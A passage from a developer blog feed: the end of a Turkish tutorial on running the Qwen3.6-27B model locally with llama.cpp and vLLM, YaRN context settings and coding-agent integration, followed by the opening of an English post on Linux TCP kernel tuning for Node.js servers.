cmake&lt;span class="w"&gt; &lt;/span&gt;..&lt;span class="w"&gt; &lt;/span&gt;-DGGML_HIPBLAS&lt;span class="o"&gt;=&lt;/span&gt;ON&lt;span class="w"&gt; &lt;/span&gt;-DCMAKE_HIP_ARCHITECTURES&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gfx1151"&lt;/span&gt;
make&lt;span class="w"&gt; &lt;/span&gt;-j&lt;span class="k"&gt;$(&lt;/span&gt;nproc&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Sunucuyu ba&amp;scedil;lat&amp;inodot;yoruz&lt;/span&gt;
./llama-server&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;Qwen3.6-27B-Q4_K_M.gguf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-ngl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32768&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--flash-attn&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--host&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.0.0.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Beklenen h&amp;inodot;z: D&amp;uuml;&amp;scedil;&amp;uuml;nme modu a&amp;ccedil;&amp;inodot;kken saniyede 10-12 token, kapal&amp;inodot;yken 35-45 token.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="framework-versiyonlar-cok-kritik_1"&gt;Framework Versiyonlar&amp;inodot; &amp;Ccedil;ok Kritik!&lt;a class="headerlink" href="#framework-versiyonlar-cok-kritik" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Qwen3.6-27B modelini sorunsuz ve do&amp;gbreve;ru &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z k&amp;uuml;t&amp;uuml;phanelerin g&amp;uuml;ncel olmas&amp;inodot; gerekir hac&amp;inodot;. S&amp;uuml;r&amp;uuml;m uyu&amp;scedil;mazl&amp;inodot;klar&amp;inodot; hatal&amp;inodot; &amp;ccedil;&amp;inodot;kt&amp;inodot;lara sebep olabilir:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SGLang&lt;/strong&gt;: &amp;gt;= 0.5.10&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vLLM&lt;/strong&gt;: &amp;gt;= 0.19.0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transformers&lt;/strong&gt;: &amp;gt;= 4.51.0 veya en g&amp;uuml;ncel main branch&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="milyon-token-snrn-zorlamak-yarn-ayar"&gt;Milyon Token S&amp;inodot;n&amp;inodot;r&amp;inodot;n&amp;inodot; Zorlamak: YaRN Ayar&amp;inodot;&lt;a class="headerlink" href="#milyon-token-snrn-zorlamak-yarn-ayar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er 262K ba&amp;gbreve;lam penceresinden daha fazlas&amp;inodot;na ihtiyac&amp;inodot;n&amp;inodot;z varsa, model klas&amp;ouml;r&amp;uuml;ndeki &lt;code&gt;config.json&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; a&amp;ccedil;&amp;inodot;p RoPE parametrelerini &amp;scedil;u &amp;scedil;ekilde g&amp;uuml;ncelleyebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"mrope_interleaved"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"mrope_section"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"rope_type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yarn"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"rope_theta"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"partial_rotary_factor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0.25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"factor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"original_max_position_embeddings"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;262144&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ayn&amp;inodot; ayar&amp;inodot; vLLM &amp;uuml;zerinde do&amp;gbreve;rudan ba&amp;scedil;latma parametresi olarak da ge&amp;ccedil;ebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;VLLM_ALLOW_LONG_MAX_MODEL_LEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;vllm&lt;span class="w"&gt; &lt;/span&gt;serve&lt;span class="w"&gt; &lt;/span&gt;Qwen/Qwen3.6-27B&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--tensor-parallel-size&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--max-model-len&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1010000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--hf-overrides&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{"text_config": {"rope_parameters": {"mrope_interleaved": true, "mrope_section": [11, 11, 10], "rope_type": "yarn", "rope_theta": 10000000, "partial_rotary_factor": 0.25, "factor": 4.0, "original_max_position_embeddings": 262144}}}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! ⚡ YaRN K&amp;inodot;sa Sorgularda Performans&amp;inodot; D&amp;uuml;&amp;scedil;&amp;uuml;rebilir&lt;/p&gt;
&lt;p&gt;YaRN &amp;ouml;l&amp;ccedil;eklendirmesi sabit bir katsay&amp;inodot; kulland&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in k&amp;inodot;sa metinlerde model kalitesini hafif&amp;ccedil;e etkileyebilir. Bu ayar&amp;inodot; sadece ger&amp;ccedil;ekten devasa kod tabanlar&amp;inodot;n&amp;inodot; analiz edece&amp;gbreve;iniz zaman a&amp;ccedil;man&amp;inodot;z&amp;inodot; &amp;ouml;neririm.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="yerel-kodlama-ajanlarna-baglamak"&gt;Yerel Kodlama Ajanlar&amp;inodot;na Ba&amp;gbreve;lamak&lt;a class="headerlink" href="#yerel-kodlama-ajanlarna-baglamak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Modeli aya&amp;gbreve;a kald&amp;inodot;rd&amp;inodot;ktan sonra OpenAI veya Anthropic uyumlu API protokolleri &amp;uuml;zerinden pop&amp;uuml;ler ajanlara kolayca ba&amp;gbreve;layabiliriz.&lt;/p&gt;
&lt;h3 id="openclaw-entegrasyonu"&gt;OpenClaw Entegrasyonu 🔌&lt;a class="headerlink" href="#openclaw-entegrasyonu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Kendi sunucunuzda bar&amp;inodot;nd&amp;inodot;rabilece&amp;gbreve;iniz a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; kodlama ajan&amp;inodot; OpenClaw i&amp;ccedil;in &lt;code&gt;~/.openclaw/openclaw.json&lt;/code&gt; ayar dosyas&amp;inodot;n&amp;inodot; &amp;scedil;u &amp;scedil;ekilde g&amp;uuml;ncelleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"models"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"mode"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"merge"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"providers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"local"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"baseUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:8000/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"apiKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"EMPTY"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"api"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"openai-completions"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"models"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"reasoning"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"input"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"text"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"image"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"contextWindow"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;131072&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;"maxTokens"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32768&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;"agents"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;"defaults"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"model"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"primary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"local/qwen3.6-27b"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="qwen-code-kurulumu"&gt;Qwen Code Kurulumu 💻&lt;a class="headerlink" href="#qwen-code-kurulumu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Alibaba'n&amp;inodot;n Qwen modelleri i&amp;ccedil;in &amp;ouml;zel olarak tasarlad&amp;inodot;&amp;gbreve;&amp;inodot; terminal ajan&amp;inodot; Qwen Code'u kurup hemen kullanmaya ba&amp;scedil;layabilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;npm&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-g&lt;span class="w"&gt; &lt;/span&gt;&lt;a href="https://twitter.com/qwen"&gt;@qwen&lt;/a&gt;-code/qwen-code@latest
qwen
&lt;span class="c1"&gt;# Terminal aray&amp;uuml;z&amp;uuml;nde: /auth komutuyla yerel endpoint adresinizi girin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="claude-code-ile-yerel-model-kullanmak"&gt;Claude Code ile Yerel Model Kullanmak 📡&lt;a class="headerlink" href="#claude-code-ile-yerel-model-kullanmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;E&amp;gbreve;er Claude Code kullanmay&amp;inodot; tercih ediyorsan&amp;inodot;z, ortam de&amp;gbreve;i&amp;scedil;kenlerini yerel API sunucunuza y&amp;ouml;nlendirerek Qwen3.6-27B'yi Claude gibi davranmaya ikna edebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_MODEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_SMALL_FAST_MODEL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"qwen3.6-27b"&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_BASE_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:8000/v1"&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ANTHROPIC_AUTH_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"EMPTY"&lt;/span&gt;
claude
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="modelin-gercekci-snrlar-ve-eksi-yonleri_1"&gt;Modelin Ger&amp;ccedil;ek&amp;ccedil;i S&amp;inodot;n&amp;inodot;rlar&amp;inodot; ve Eksi Y&amp;ouml;nleri&lt;a class="headerlink" href="#modelin-gercekci-snrlar-ve-eksi-yonleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tabii ki her &amp;scedil;ey g&amp;uuml;ll&amp;uuml;k g&amp;uuml;listanl&amp;inodot;k de&amp;gbreve;il hac&amp;inodot;. Bu modeli kurmadan &amp;ouml;nce &amp;scedil;u detaylar&amp;inodot; da bilmeniz gerekiyor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;G&amp;uuml;&amp;ccedil; T&amp;uuml;ketimi 🌡️:&lt;/strong&gt; Yo&amp;gbreve;un (dense) mimariler her ileri ge&amp;ccedil;i&amp;scedil;te t&amp;uuml;m parametreleri &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rd&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in, aktif parametre say&amp;inodot;s&amp;inodot; az olan MoE modellerine g&amp;ouml;re sunucuda &amp;ccedil;ok daha fazla elektrik t&amp;uuml;ketir ve kartlar&amp;inodot; daha &amp;ccedil;ok &amp;inodot;s&amp;inodot;t&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Donan&amp;inodot;m S&amp;inodot;n&amp;inodot;r&amp;inodot;:&lt;/strong&gt; Her ne kadar k&amp;uuml;&amp;ccedil;&amp;uuml;k desek de kantize edilmi&amp;scedil; hali bile en az 24 GB VRAM kapasiteli bir ekran kart&amp;inodot; gerektirir. Giri&amp;scedil; seviyesi bilgisayarlarda veya d&amp;uuml;&amp;scedil;&amp;uuml;k donan&amp;inodot;ml&amp;inodot; diz&amp;uuml;st&amp;uuml; bilgisayarlarda ak&amp;inodot;c&amp;inodot; &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmak zordur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ekosistem Olgunlu&amp;gbreve;u:&lt;/strong&gt; Model &amp;ccedil;ok yeni oldu&amp;gbreve;u i&amp;ccedil;in topluluk taraf&amp;inodot;ndan &amp;uuml;retilen ince ayarlar (fine-tunes) ve ara&amp;ccedil; entegrasyonlar&amp;inodot; hen&amp;uuml;z yolun ba&amp;scedil;&amp;inodot;nda.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yerel donan&amp;inodot;m&amp;inodot;n&amp;inodot;zda tam veri gizlili&amp;gbreve;iyle, bulut servislerine ba&amp;gbreve;&amp;inodot;ml&amp;inodot; kalmadan ve API faturas&amp;inodot; &amp;ouml;demeden &amp;ccedil;al&amp;inodot;&amp;scedil;mak istiyorsan&amp;inodot;z Qwen3.6-27B &amp;scedil;u an piyasadaki en di&amp;scedil;li yerel se&amp;ccedil;eneklerden biridir.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla! 👋&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="laboratuvardan-diger-notlar"&gt;🔗 Laboratuvardan Di&amp;gbreve;er Notlar&lt;a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Yapay zeka modellerini yerelde ko&amp;scedil;tururken ve terminal ara&amp;ccedil;lar&amp;inodot;n&amp;inodot; kurcalarken i&amp;scedil;inize yarayacak di&amp;gbreve;er tecr&amp;uuml;belerim de &amp;scedil;urada:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/qwen3-mcp-server-aktif-etme/"&gt;Qwen 3 ve Qwen3-Coder-Plus &amp;Uuml;zerinde MCP Server&amp;rsquo;lar&amp;inodot; Aktif Etme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/yerel-ai-kurulum-rehberi-lm-studio-vs-code/"&gt;Ayl&amp;inodot;k Aboneliklere Elveda: Kendi Bilgisayar&amp;inodot;n&amp;inodot;zda Bedava ve &amp;Ouml;zel AI Rehberi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-ollama-webui-kurulumu-docker/"&gt;Arch Linux'ta Ollama ve WebUI Kurulumu (Docker ile)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/mcp-puppeteer-sunucusu-kurulumu/"&gt;MCP Puppeteer Sunucusu Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/docker-imaj-boyutu-kucultme-rehberi/"&gt;&amp;Scedil;i&amp;scedil;ko Docker &amp;Idot;majlar&amp;inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;CloudRift ekibinin Blackwell (sm_120) donan&amp;inodot;mlar&amp;inodot;nda yapt&amp;inodot;&amp;gbreve;&amp;inodot; testlerde ortaya koydu&amp;gbreve;u SGLang ge&amp;ccedil;ici &amp;ccedil;&amp;ouml;z&amp;uuml;mlerine g&amp;ouml;re, FP8 yerine BF16 KV cache kullan&amp;inodot;lmas&amp;inodot; ve radix cache &amp;ouml;zelli&amp;gbreve;inin devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rak&amp;inodot;lmas&amp;inodot; kararl&amp;inodot;l&amp;inodot;k sorunlar&amp;inodot;n&amp;inodot; &amp;ccedil;&amp;ouml;zmektedir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Apple Silicon &amp;uuml;zerinde MLX, Metal API'sine do&amp;gbreve;rudan eri&amp;scedil;ti&amp;gbreve;i i&amp;ccedil;in klasik llama.cpp / GGUF derlemelerine g&amp;ouml;re daha d&amp;uuml;&amp;scedil;&amp;uuml;k gecikme s&amp;uuml;resi ve daha y&amp;uuml;ksek verim sunar.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Geliştirme Araçları"/><category term="qwen"/><category term="local llm"/><category term="sglang"/><category term="vllm"/><category term="apple silicon"/><category term="rtx 3090"/><category term="rtx 5090"/><category term="openclaw"/><category term="yapay zeka"/></entry><entry><title>Linux TCP Tuning and Kernel Settings for Node.js Microservices</title><link href="https://yuceltoluyag.github.io/en/linux-tcp-tuning-node-js-microservices/" rel="alternate"/><published>2026-05-29T04:20:00+03:00</published><updated>2026-05-29T04:20:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/en/linux-tcp-tuning-node-js-microservices/</id><summary type="html">&lt;p&gt;I'm explaining the critical Linux kernel sysctl settings required to prevent mysterious connection drops and timeouts on Node.js servers under heavy load.&lt;/p&gt;</summary><content type="html">&lt;p&gt;While load testing the microservices running in my local lab, I encountered a strange issue, man. The load generator was hitting 2000 requests per second, and the Node.js server's CPU usage wasn't even breaking 30%. The event loop was a beast, garbage collection (GC) was quiet, and there were zero error logs. Yet, the load test report showed a 3% connection timeout. On top of that, those infamous "socket hang up" errors from other services started to become a nuisance.&lt;/p&gt;
&lt;p&gt;You look at the application logs, and nothing's out of place. The metric dashboards are all green. You start feeling like you're fighting a ghost. That is, until you run &lt;code&gt;ss -s&lt;/code&gt; on the server and see forty thousand sockets waiting in &lt;code&gt;TIME_WAIT&lt;/code&gt; state, or catch the &lt;code&gt;TCP: request_sock_TCP: Possible SYN flooding on port 3000&lt;/code&gt; warning in the &lt;code&gt;dmesg&lt;/code&gt; logs... The kernel has entered a secret war with your traffic, and unfortunately, it has won.&lt;/p&gt;
&lt;p&gt;You'll never catch these kinds of errors by profiling at the application level. That's because, by default, the Linux kernel still comes with settings configured for a desktop computer from 2005. Yet, here we are in 2026, talking about Node.js containers running behind a load balancer. In this article, we're diving into 4 essential sysctl families and that critical Node.js setting that most teams overlook, to overcome this hidden bottleneck.&lt;/p&gt;
&lt;h2 id="1-connection-queues-syn-backlog-and-accept-queue"&gt;1. Connection Queues: SYN Backlog and Accept Queue&lt;a class="headerlink" href="#1-connection-queues-syn-backlog-and-accept-queue" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When a client establishes a TCP connection to your Node.js server, a three-way handshake occurs in the kernel before the application-level &lt;code&gt;server.on('connection', ...)&lt;/code&gt; event is triggered:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The client sends a &lt;code&gt;SYN&lt;/code&gt; packet.&lt;/li&gt;
&lt;li&gt;The kernel allocates space in the SYN backlog queue, responds with &lt;code&gt;SYN-ACK&lt;/code&gt;, and waits for the final &lt;code&gt;ACK&lt;/code&gt; packet from the client.&lt;/li&gt;
&lt;li&gt;Once the handshake is complete, the socket is moved to the accept queue. Node.js then makes the &lt;code&gt;accept()&lt;/code&gt; call in the next event loop iteration and triggers the connection event.&lt;/li&gt;
&lt;/ol&gt;
